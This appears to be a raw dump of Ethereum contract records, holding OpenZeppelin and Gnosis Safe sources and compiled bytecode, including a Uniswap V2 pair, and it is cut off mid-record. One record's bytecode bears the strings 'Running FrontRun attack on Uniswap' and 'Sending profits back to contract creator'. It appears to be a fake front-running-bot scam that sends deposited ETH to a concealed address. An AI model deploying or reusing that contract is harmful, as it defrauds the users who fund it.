"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC165 standard, as defined in the\n * https://eips.ethereum.org/EIPS/eip-165[EIP].\n *\n * Implementers can declare support of contract interfaces, which can then be\n * queried by others ({ERC165Checker}).\n *\n * For an implementation, see {ERC165}.\n */\ninterface IERC165 {\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30 000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../utils/introspection/IERC165.sol\";\n\n/**\n * @dev _Available since v3.1._\n */\ninterface IERC1155Receiver is IERC165 {\n /**\n @dev Handles the receipt of a single ERC1155 token type. This function is\n called at the end of a `safeTransferFrom` after the balance has been updated.\n To accept the transfer, this must return\n `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))`\n (i.e. 0xf23a6e61, or its own function selector).\n @param operator The address which initiated the transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param id The ID of the token being transferred\n @param value The amount of tokens being transferred\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155Received(address,address,uint256,uint256,bytes)\"))` if transfer is allowed\n */\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n /**\n @dev Handles the receipt of a multiple ERC1155 token types. This function\n is called at the end of a `safeBatchTransferFrom` after the balances have\n been updated. To accept the transfer(s), this must return\n `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))`\n (i.e. 0xbc197c81, or its own function selector).\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\n @param from The address which previously owned the token\n @param ids An array containing ids of each token being transferred (order and length must match values array)\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\n @param data Additional data with no specified format\n @return `bytes4(keccak256(\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\"))` if transfer is allowed\n */\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n"
},
"@openzeppelin/contracts/utils/introspection/ERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC165.sol\";\n\n/**\n * @dev Implementation of the {IERC165} interface.\n *\n * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check\n * for the additional interface id that will be supported. For example:\n *\n * ```solidity\n * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);\n * }\n * ```\n *\n * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.\n */\nabstract contract ERC165 is IERC165 {\n /**\n * @dev See {IERC165-supportsInterface}.\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}} |
1 | 19,493,983 | 0ad3abaac7d64b6363021e0658b498fefeee7d32ac0a49dd403f4687f214a846 | 86870c53b2c7c6e4a79b5b943ac0686ffd140e92da08b1096461bd598af2f944 | 43cdc269e05df036f0298d1b1c13a37e208805e9 | 43cdc269e05df036f0298d1b1c13a37e208805e9 | f569ba092bedb5dbf0243d37c76d7dfae1256280 | 60806040523480156200001157600080fd5b5060405162000bc638038062000bc6833981810160405260408110156200003757600080fd5b81019080805160405193929190846401000000008211156200005857600080fd5b9083019060208201858111156200006e57600080fd5b82516401000000008111828201881017156200008957600080fd5b82525081516020918201929091019080838360005b83811015620000b85781810151838201526020016200009e565b50505050905090810190601f168015620000e65780820380516001836020036101000a031916815260200191505b50604052602001805160405193929190846401000000008211156200010a57600080fd5b9083019060208201858111156200012057600080fd5b82516401000000008111828201881017156200013b57600080fd5b82525081516020918201929091019080838360005b838110156200016a57818101518382015260200162000150565b50505050905090810190601f168015620001985780820380516001836020036101000a031916815260200191505b5060405250508251620001b491506001906020850190620001d3565b508051620001ca906000906020840190620001d3565b50505062000278565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200021657805160ff191683800117855562000246565b8280016001018555821562000246579182015b828111156200024657825182559160200191906001019062000229565b506200025492915062000258565b5090565b6200027591905b808211156200025457600081556001016200025f565b90565b61093e80620002886000396000f3fe6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100d9578063be9a6555146100ee578063d4e93292146100f85761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610100565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561009e578181015183820152602001610086565b50505050905090810190601f1680156100cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100e557600080fd5b5061006461018e565b6100f66101e8565b005b6100f6610276565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101865780601f1061015b57610100808354040283529160200191610186565b820191906000526020600020905b81548152906001019060200180831161016957829003601f168201915b505050505081565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101865780601f1061015b57610100808354040283529160200191610186565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260488152602001806108c16048913960600191505060405180910390a161023b6102c5565b6001600160a01b03166108fc479081150290604051600060405180830381858888f19350505050158015610273573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405180806020018281038252603381526020018061088e6033913960400191505060405180910390a161023b5b60006102d76102d26102dc565b6103f6565b905090565b606080610311604051806040016040528060018152602001600f60fb1b81525061030c610307610593565b61059a565b610723565b9050620d78a36000610321610834565b905062090d9c600061033161083b565b9050620bcff86000610341610842565b9050620849cc60606103568961030c8a61059a565b9050606061036f6103668961059a565b61030c8961059a565b9050606061038861037f8861059a565b61030c8861059a565b905060606103a16103988761059a565b61030c8761059a565b905060606103bc6103b28686610723565b61030c8585610723565b905060606103e3604051806040016040528060018152602001600360fc1b81525083610723565b9e50505050505050505050505050505090565b60008181808060025b602a811015610586576101008402935084818151811061041b57fe5b0160200151855160f89190911c935085906001830190811061043957fe5b016020015160f81c915060616001600160a01b0384161080159061046757506066836001600160a01b031611155b15610477576057830392506104db565b6041836001600160a01b03161015801561049b57506046836001600160a01b031611155b156104ab576037830392506104db565b6030836001600160a01b0316101580156104cf57506039836001600160a01b031611155b156104db576030830392505b6061826001600160a01b0316101580156104ff57506066826001600160a01b031611155b1561050f57605782039150610573565b6041826001600160a01b03161015801561053357506046826001600160a01b031611155b1561054357603782039150610573565b6030826001600160a01b03161015801561056757506039826001600160a01b031611155b15610573576030820391505b60108302820193909301926002016103ff565b509193505050505b919050565b6207efe890565b60606000825b80156105b65760019190910190601090046105a0565b60608267ffffffffffffffff811180156105cf57600080fd5b506040519080825280601f01601f1916602001820160405280156105fa576020820181803683370190505b50905060005b8381101561064d5760108606925061061783610849565b826001838703038151811061062857fe5b60200101906001600160f81b031916908160001a905350601086049550600101610600565b508051600481141561068b57606061067e604051806040016040528060018152602001600360fc1b81525084610723565b955061058e945050505050565b80600314156106b957606061067e604051806040016040528060018152602001600360fc1b81525084610723565b80600214156106e957606061067e6040518060400160405280600381526020016203030360ec1b81525084610723565b806001141561071a57606061067e604051806040016040528060048152602001630303030360e41b81525084610723565b50949350505050565b805182516060918491849184910167ffffffffffffffff8111801561074757600080fd5b506040519080825280601f01601f191660200182016040528015610772576020820181803683370190505b509050806000805b85518210156107ce5785828151811061078f57fe5b602001015160f81c60f81b8382806001019350815181106107ac57fe5b60200101906001600160f81b031916908160001a90535060019091019061077a565b600091505b8451821015610827578482815181106107e857fe5b602001015160f81c60f81b83828060010193508151811061080557fe5b60200101906001600160f81b031916908160001a9053506001909101906107d3565b5090979650505050505050565b6204d40090565b6203b90390565b6207e74c90565b600060098260ff161161086357506030810160f81b61058e565b8160ff16600a1115801561087b5750600f8260ff1611155b1561004a57506057810160f81b61058e56fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212204bbdf2595cbabdf7c7588ecdeb3061981561b61ea13a5a4408831e7a059a5e5664736f6c634300060600330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | 6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c320146100d9578063be9a6555146100ee578063d4e93292146100f85761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610100565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561009e578181015183820152602001610086565b50505050905090810190601f1680156100cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156100e557600080fd5b5061006461018e565b6100f66101e8565b005b6100f6610276565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101865780601f1061015b57610100808354040283529160200191610186565b820191906000526020600020905b81548152906001019060200180831161016957829003601f168201915b505050505081565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156101865780601f1061015b57610100808354040283529160200191610186565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab6040518080602001828103825260488152602001806108c16048913960600191505060405180910390a161023b6102c5565b6001600160a01b03166108fc479081150290604051600060405180830381858888f19350505050158015610273573d6000803e3d6000fd5b50565b7fcf34ef537ac33ee1ac626ca1587a0a7e8e51561e5514f8cb36afa1c5102b3bab60405180806020018281038252603381526020018061088e6033913960400191505060405180910390a161023b5b60006102d76102d26102dc565b6103f6565b905090565b606080610311604051806040016040528060018152602001600f60fb1b81525061030c610307610593565b61059a565b610723565b9050620d78a36000610321610834565b905062090d9c600061033161083b565b9050620bcff86000610341610842565b9050620849cc60606103568961030c8a61059a565b9050606061036f6103668961059a565b61030c8961059a565b9050606061038861037f8861059a565b61030c8861059a565b905060606103a16103988761059a565b61030c8761059a565b905060606103bc6103b28686610723565b61030c8585610723565b905060606103e3604051806040016040528060018152602001600360fc1b81525083610723565b9e50505050505050505050505050505090565b60008181808060025b602a811015610586576101008402935084818151811061041b57fe5b0160200151855160f89190911c935085906001830190811061043957fe5b016020015160f81c915060616001600160a01b0384161080159061046757506066836001600160a01b031611155b15610477576057830392506104db565b6041836001600160a01b03161015801561049b57506046836001600160a01b031611155b156104ab576037830392506104db565b6030836001600160a01b0316101580156104cf57506039836001600160a01b031611155b156104db576030830392505b6061826001600160a01b0316101580156104ff57506066826001600160a01b031611155b1561050f57605782039150610573565b6041826001600160a01b03161015801561053357506046826001600160a01b031611155b1561054357603782039150610573565b6030826001600160a01b03161015801561056757506039826001600160a01b031611155b15610573576030820391505b60108302820193909301926002016103ff565b509193505050505b919050565b6207efe890565b60606000825b80156105b65760019190910190601090046105a0565b60608267ffffffffffffffff811180156105cf57600080fd5b506040519080825280601f01601f1916602001820160405280156105fa576020820181803683370190505b50905060005b8381101561064d5760108606925061061783610849565b826001838703038151811061062857fe5b60200101906001600160f81b031916908160001a905350601086049550600101610600565b508051600481141561068b57606061067e604051806040016040528060018152602001600360fc1b81525084610723565b955061058e945050505050565b80600314156106b957606061067e604051806040016040528060018152602001600360fc1b81525084610723565b80600214156106e957606061067e6040518060400160405280600381526020016203030360ec1b81525084610723565b806001141561071a57606061067e604051806040016040528060048152602001630303030360e41b81525084610723565b50949350505050565b805182516060918491849184910167ffffffffffffffff8111801561074757600080fd5b506040519080825280601f01601f191660200182016040528015610772576020820181803683370190505b509050806000805b85518210156107ce5785828151811061078f57fe5b602001015160f81c60f81b8382806001019350815181106107ac57fe5b60200101906001600160f81b031916908160001a90535060019091019061077a565b600091505b8451821015610827578482815181106107e857fe5b602001015160f81c60f81b83828060010193508151811061080557fe5b60200101906001600160f81b031916908160001a9053506001909101906107d3565b5090979650505050505050565b6204d40090565b6203b90390565b6207e74c90565b600060098260ff161161086357506030810160f81b61058e565b8160ff16600a1115801561087b5750600f8260ff1611155b1561004a57506057810160f81b61058e56fe53656e64696e672070726f66697473206261636b20746f20636f6e74726163742063726561746f7220616464726573732e2e2e52756e6e696e672046726f6e7452756e2061747461636b206f6e20556e69737761702e20546869732063616e2074616b652061207768696c6520706c6561736520776169742e2e2ea26469706673582212204bbdf2595cbabdf7c7588ecdeb3061981561b61ea13a5a4408831e7a059a5e5664736f6c63430006060033 | |
1 | 19,493,986 | 728c7fe34bcbf6d1b44154a29d3cc28cd92f735605cfb617c89f8f107969d762 | 6a9d9aaa9823a3e59f526ff84347b0255afbc696de2ded350a3f8ec5d6e0f1ee | ddb3cc4dc30ce0fcd9bbfc2a5f389b8c40aa023a | 46950ba8946d7be4594399bcf203fb53e1fd7d37 | 3ab2bf92da00f10703bdb4a5208ab0aa95db78d5 | 3d602d80600a3d3981f3363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73bfac0f451e63d2d639b05bbea3e72318ac5abc095af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,989 | b6acd8ceb055337b7da290b0d336a249c21a2e81a038d7fad3f798b62e5a40a8 | 8524327d02e6c958f8ce3652c98636ad9898f538c6f9cd00e74126249942de91 | a9a0b8a5e1adca0caccc63a168f053cd3be30808 | 01cd62ed13d0b666e2a10d13879a763dfd1dab99 | b802e40ae8feb5ee972537b6d9828dd0f6902d5f | 3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | |
1 | 19,493,990 | 5ced3e0f09477e1b8e6cadfd942f6f23061ac805876cd35e04bdb9c85e25bcba | 2178eba077fad7f15cc8782a4f412cadfd35b4372f500b77d26323a9a494e5f5 | f4ee2ddcce592318e108805e56bcc6b25a79137b | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | fac05b18609278d2dd49701f09a703d2d5c1aaaf | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,493,994 | 10588aef63c0b3244f920a1b70de9931174ecbbfef2f6c0d2247cea1d20bd71c | 72a81e0263881eb4a048de4534fbdd4a0b3723b10b59ae0427a39492e3cca508 | 361139e7428bcd6a0be6fd70944cedef7128af9f | 5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f | c7e5cedb9e730c741a6c2d0a308708e869d78960 | 60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601